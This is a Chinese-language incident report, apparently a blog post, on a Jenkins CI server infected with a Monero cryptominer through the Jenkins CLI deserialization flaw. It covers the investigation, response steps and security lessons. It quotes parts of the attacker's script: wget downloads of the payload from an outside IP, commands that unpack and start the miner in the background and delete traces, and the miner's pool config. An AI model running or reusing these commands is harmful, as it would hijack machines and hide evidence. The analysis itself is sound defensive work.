你的 CI 在挖比特幣嗎?—— 記一次 CI 入侵的調查

背景

我們的持續集成服務器搭建在AWS上的一個EC2的虛擬機中。採用Jenkins 2.46.1並且只有一個Master實例來運行所有的任務。且採用持續部署——團隊每天要在開發環境自動部署10+個版本。整個過程由Jenkins內部構建的流水線觸發。代碼提交,測試,構建,部署一氣呵成。

我們有一箇中心產品代碼庫,這個中心產品對應着不同國家的在線產品。分別是:新加坡,馬來西亞,印度尼西亞和香港。爲了安全起見,我們爲每一個產品的環境單獨部署了一套持續交付流水線。由於各地域產品的差異較小,我們採用同一套基礎設施配置初始化Jenkins配置,因此,我們有四臺差不多的持續交付流水線。

從一次「構建變慢「的調查說起

在週二的時候,突然有人發現」馬來西亞「的部署流程開始變慢,其中構建過程從上週的的7分鐘左右變成了44分鐘。而同樣的代碼改動,其它國家的服務器並沒有如此大的差異。

那麼問題一定在這個服務器上!

影響構建速度的因素主要是資源的佔用導致的等待,這方面的資源包括:CPU、內存、磁盤和網絡。

由於我們採用NewRelic對所有的持續集成服務器進行監控。所以可以得到CPU、內存、磁盤和網絡的性能監控數據以及橫向的對比信息。通過對比相關的數據,我們發現這一臺服務器上有個在/tmp目錄下運行的叫`donns`的陌生進程長期佔用大量CPU,它的文件權限屬於Jenkins用戶以及Jenkins用戶組。所以這個程序的執行是由Jenkins出發了。

我們在Jenkins的相關網站裏搜索這個名爲donns進程的相關信息,但一無所獲。於是我們在/tmp目錄中尋找和這個進程相關的信息,我們發現了一個陌生的Shell腳本,打開內容看,內容卻讓我們大跌眼鏡。想看腳本完整源代碼的請點擊這裏,一下是幾個重要的腳本片段:

代碼片段1

pkill conns

ps auxw|head -1;ps auxw|sort -rn -k3|head -1|awk '{if($3>80.0) print "kill -9 " $2}'|sh

pkill bonns

我們看到,這段代碼殺死了佔用CPU超過80%的進程。此外,殺死了名爲conns和bonns的進程。

conns進程是什麼?bonns進程又是什麼?爲什麼要殺死CPU佔用率超過80%的進程?

代碼片段2

wget 91.235.143.129:8086/587b626883fdc.png -O /tmp/conn

wget 91.235.143.129:8086/1eac80002f.conf -O /tmp/config.conf

從91.235.143.129:8086下載了一個圖片和一個配置文件。這個服務器是幹嘛的?這個配置文件又包含了哪些內容?

通過在自己的沙盒環境裏打開這個配置文件,發現它的內容是這樣的:

{

"url" : "stratum+tcp://xmr.crypto-pool.fr:3333",

"user" : "43ZQzwdYHC9ebXxZhJuwkH5jvmfEBCEjkd1PvqxacrJaEDQFyNuxJhcib8MsJRgFnbATB6rpBEzq8EKqRqUbjyNy3opCS4k",

"pass" : "x"

}

stratum+tcp協議 引發了我的好奇心,經過調查,這居然是一個叫做門羅幣的加密虛擬幣礦池協議:

門羅幣XMR一種使用CryptoNote協議的一個虛擬幣幣種,其並不是比特幣的一個分支。CryptoNote在2012年已經開發出來,當年已有Bytecoin使用CrytoNote技術,XMR是在2014年開發出來,可以預見CryptoNote技術已經非常成熟,該技術通過數字環簽名提供更好的匿名性。目前國內對該幣種匿名技術宣傳較少,國外知名度較高。Monero詞語是引自於世界語,在世界語中的含義表示爲貨幣。

礦池則是是比特幣(Bitcoin)等P2P密碼學虛擬貨幣開採所必須的基礎設施,一般是對外開放的團隊開採服務器,其存在意義爲提升比特幣開採穩定性,使礦工薪酬趨於穩定。

假設100萬人參與比特幣挖礦,全網400P算力,其中90%的礦工爲1P(1000T)以下的算力,如果投入一臺1T礦機,將佔全網算力的40萬分之1,理論上平均每40萬個10分鐘能挖到一個區塊,也就是7.6年才能挖到一個區塊然後一次性拿到50個比特幣。那麼,假如我再找9個擁有1T算力礦機的礦工,達成協定,我們總共10個人,其中任何一個人挖到區塊,都按照每人的算力佔比來進行平分,那麼我們就是一個整體,總共10T算力,那麼平均0.76年即可挖到一個區塊,然後算下來到我們手上的就是0.76年開採到5個比特幣,如果組織100人、1000人、1萬人甚至10萬人呢?如果是10萬人,那麼平均100分鐘就能挖到1個區塊,作爲團隊的一份子,我的收入將會趨於穩定。這就是礦池的基本原理,即大家組隊進行比特幣開採,可以參考**中的合買。

當然,以上只是對礦池的基本原理和性質進行簡單的描述,實際情況會非常複雜。礦池是一個全自動的開採平臺,即礦機接入礦池——提供算力——獲得收益。

抱着「大膽假設,小心求證」的心態,我們找到了配置文件中這家叫做crypyto-pool的網站https://monero.crypto-pool.fr/它是一個著名門羅幣的礦池網站。而通過配置文件的用戶名,我們看到了這個程序的挖礦記錄和轉賬記錄。根據6月份的交易數據以及對應牌價,截止作者發稿時,該程序已經爲作者賺取了 1165.64 美元的收益。

而接下來的代碼間接暴露了證據:

代碼片段3:

dd if=/tmp/conn skip=7664 bs=1 of=/tmp/donns

chmod +x /tmp/donns

nohup /tmp/donns -B -c /tmp/config.conf >/dev/null 2>&1 &

rm -rf /tmp/config.conf

rm -rf /tmp/conn

rm -rf /tmp/conns

rm -f /tmp/bonn.sh

這段腳本不光執行了程序,並且刪除了執行後的相關文件記錄。確認了是挖礦進程之後,我們果斷的停止了進程,並且把對應的環境製作成了臨時鏡像以便做進一步分析。

以上,我們僅僅通過一系列調查證明了 donns 進程具有挖門羅幣的功能。然而,我們很難知道它是否做了別的事情。比如把 CI 上的關鍵信息發送出去,後果則不堪設想……

那麼問題來了,這段腳本是如何進入CI的?

通過網上搜索相關線索(https://groups.google.com/forum/#!topic/jenkinsci-advisories/sN9S0x78kMU),這個腳本最早是2016年11月11日發現的,最早是一個叫做kwwoker32的進程,腳本很相似。從腳本來看,經歷了conns, bonns兩代的演化之後,這應該是第三代挖礦腳本了。從腳本來看,donns和bonns和conns是競爭關係,因此執行之前要把它倆先強制終止並清除。它們所採用的應該是同一個漏洞。

這個漏洞存在於Jenkins CLI,這是一個用Java編寫的命令行工具,可以通過命令行遠程操作Jenkins來執行很多操作。在這個例子中,攻擊者通過這個工具向Jenkins服務器傳送一個序列化的對象連接到攻擊者的LDAP服務器,以此繞過Jenkins自身保護機制並且遠程執行代碼。

修復方法是手動修改Jenkins的執行腳本,關閉CLI這個選項(默認是打開的)。

而在今年的4月26日,又修復了一大批通過跨站請求僞造(Cross-Site Request Forgery)遠程執行代碼的漏洞

跨站請求僞造(Cross-Site Request Forgery),在OWASP Top 10 裏排在 A8,是常見的攻擊類型。CSRF攻擊原理比較簡單,如下圖所示:


274927-f998f52978cc0a52.png
Jenkins 的 跨站請求僞造(CSRF)攻擊

1.管理員打開瀏覽器,並輸入用戶名和密碼請求登錄Jenkins;

2.在用戶信息通過驗證後,Jenkins產生Cookie信息並返回給瀏覽器,此時管理員登錄Jenkins成功,可以正常發送請求到Jenkins;

3.用戶未退出Jenkins之前,在同一瀏覽器中,打開一個TAB頁訪問惡意網站;

4.在惡意網站接收到用戶請求後,返回一些攻擊性代碼,併發出一個請求要求訪問Jenkins;

5.瀏覽器在接收到這些攻擊性代碼後,根據存在惡意代碼的網站的請求,在用戶不知情的情況下攜帶Cookie信息,向Jenkins發出請求。Jenkins並不知道該請求其實是由惡意網站發起的,所以會根據用戶的Cookie信息中的權限處理該請求,導致來自惡意網站的惡意代碼被執行。

簡而言之,任何一個擁有Jenkins權限的管理員,如果在企業網絡內部,同時訪問Jenkins以及存在攻擊腳本的第三方網頁,攻擊腳本就會僞造請求並利用漏洞進行攻擊。

當發現這樣的事故時,我們是怎麼做的?

處理運維事故就像在手術室搶救重症病患一樣,最大對手除了問題本身,就是時間,要在最快的速度裏減少損失,並且要留下足夠的信息便於追查。

而在處理這次事故的時候,我們採取瞭如下措施:

1. 及時切斷網絡而不是終止程序,避免更多的泄露。也許你停止了進程的同時,進程也會銷燬一切記錄,不利於事後排查。

2. 快速構建虛擬機鏡像,保留現場。(這通常需要一些外部資源支持。如果你沒有這個條件,保持服務器只有有限的網絡訪問權限。)

3. 記錄下整個發現的過程,最好能夠通過終端軟件實時截圖。或者採用 script 命令錄製過程。

4. 及時保留相關連的第三方系統的訪問日誌。

5. 找出這臺服務器上所有的 口令,祕鑰等,並立即更換。

6. 終端其它 CI 服務器的運作,並立即進行安全排查。

7. 採用更嚴格的黑白名單,限制網絡的訪問,對應用的訪問進行隔離。

通過這一次攻擊,我們學到了什麼?

本次攻擊給運維人員的啓示

可執行(executeble)的東西往往都是安全隱患的重災區,尤其是未經授權的執行。

瀏覽器是需要防範的第一關,因爲瀏覽器會:1. 訪問外部資源,2. 自動執行來源不明的腳本。而這些腳本對用戶來說是不透明的,這就爲很多潛在的跨站請求僞造便利用了這樣一個契機。因此,內外網絡分離,限制可公開訪問的內容,建立訪問黑白名單制度,非常重要。如果持續集成服務器實現了內外網完全隔離,採用跳板機並限制 Jenkins 對外訪問,這次的攻擊完全可以避免。

#安全基礎# 避免CI成爲一個安全隱患一文中,由於 CI 具有自動執行任務的能力。因此,它會成爲一個重大的安全隱患。而這次事件恰恰 又驗證了「漏洞墨菲定律」:只要漏洞有可能被利用,則一定會被利用。

Jenkins 是一款開源軟件,代碼對公衆的開放,同時也把漏洞開放給了所有人。因此,需要對開源軟件進行更加嚴格的安全控制和監控,而不能因噎廢食,徹底拋棄開源軟件,走向另一個極端。

那麼,如何安全的使用開源軟件?

1. 來源可靠:軟件包來源應當可靠,最好能通過 MD5 Sum 校驗。

2. 權限受限:在受限的權限和隔離區下使用軟件。

3. 執行可控:運行環境或者網絡隔,使之運行在沙箱裏,降低影響範圍。

4. 無狀態化:定期銷燬運行實例,並且進行重啓,更新訪問權限信息,例如密碼或 token,避免權限濫用。

在 DevOps 的實踐中,往往會通過自動化執行一些任務帶來便利。然而,易用性和安全性往往很難兼得,在 自動化的過程中,一定要考慮到其中可能產生安全隱患並且最大程度的限制可執行資源的訪問。

本次攻擊給 開發人員的啓示

跨站請求僞造是很常見的安全漏洞,對於 Web 應用開發人員而言,往往會因爲某些便利性的設計給站點帶來隱患。尤其是 REST API 的設計,如果沒有添加對應的權限驗證,往往會成爲跨站請求僞造的目標。雖然多一步驗證會影響用戶體驗,但安全仍然是不能夠 Trade-Off 的內容之一。不要爲了採取便利的方案留下了很深的安全隱患。創建漏洞往往來源於不小心,而找到漏洞則需要花費更大的周折。採用一些通用的安全實踐,往往會得到更好的效果。

關於更多的跨站請求僞造如何防禦的信息請參考:

Top 10 2013-A8-Cross-Site Request Forgery (CSRF) - OWASP

[科普]跨站請求僞造-CSRF防護方法 - FreeBuf.COM | 關注黑客與極客

此外,通過對象傳遞,利用 Java 接口的特性,攻擊者可以自由改寫方法的實現。從而達到遠程執行代碼的目的, Jenkins CLI 的漏洞就來源於此,在代碼設計時如果缺乏足夠的驗證和異常捕獲,攻擊代碼就可以通過異常繞過驗證並直接執行。因此,傳遞對象如果包含可執行的內容,一定要非常小心。如果要傳遞序列化的對象,在反序列化的時候一定要進行足夠的驗證。

還是那句話,如果沒有這些如果……

攻擊者的手段是層出不窮的,因此安全不單單是運維或是開發的問題,它是一個問題體系。DevOps 團隊一定要有安全內建(Build Security In )的意識。從工作流程,安全實踐和安全儀式上進行全方位的評估和學習,請不要把安全當做是阻礙,它是保護你和大家的最好手段。